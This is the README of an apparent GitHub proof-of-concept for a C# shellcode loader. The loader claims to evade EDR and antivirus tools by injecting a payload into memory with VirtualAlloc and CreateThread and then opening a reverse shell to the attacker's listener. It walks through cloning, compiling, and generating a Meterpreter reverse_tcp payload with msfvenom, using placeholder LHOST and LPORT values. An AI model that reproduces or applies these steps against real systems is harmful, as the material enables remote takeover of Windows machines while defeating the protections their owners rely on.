This repository contains a proof-of-concept (PoC) for bypassing EDR and antivirus solutions using a memory injection technique.
The code executes shellcode that spawns a reverse shell, successfully evading detection by various security mechanisms.
Description
This project demonstrates how to bypass EDR and antivirus protection using Windows API functions such as VirtualAlloc
, CreateThread
, and WaitForSingleObject
.
The payload is injected directly into the process memory without being detected by security tools, establishing a connection to a remote system for a reverse shell.
Features
- Bypasses standard EDR and antivirus solutions
- Executes shellcode in memory to create a reverse shell
- Utilizes
VirtualAlloc
andCreateThread
to inject the payload directly into process memory
Requirements
- Windows Operating System (Tested on Windows 11 Pro)
- Kali Linux (For reverse shell listener)
- Visual Studio or any C# compiler
Steps To Compile And Run
1. Clone The Repository
https://github.com/murat-exp/EDR-Antivirus-Bypass-to-Gain-Shell-Access.git
cd EDR-Antivirus-Bypass-Shell-Access
2. Modify Shellcode
Before compiling, ensure that you modify the shellcode to point to your own IP address and port for the reverse shell. You can generate shellcode using msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=<YOUR_PORT> -f csharp
Replace the byte[] buf
section in Program.cs with the shellcode you just generated.
3. Compile The Code
Open the project in Visual Studio, or use the following command to compile the code using the .NET SDK:
csc loader.cs
**Alternatively, you can compile in Release mode for better optimization:
csc -optimize loader.cs
For more information click here.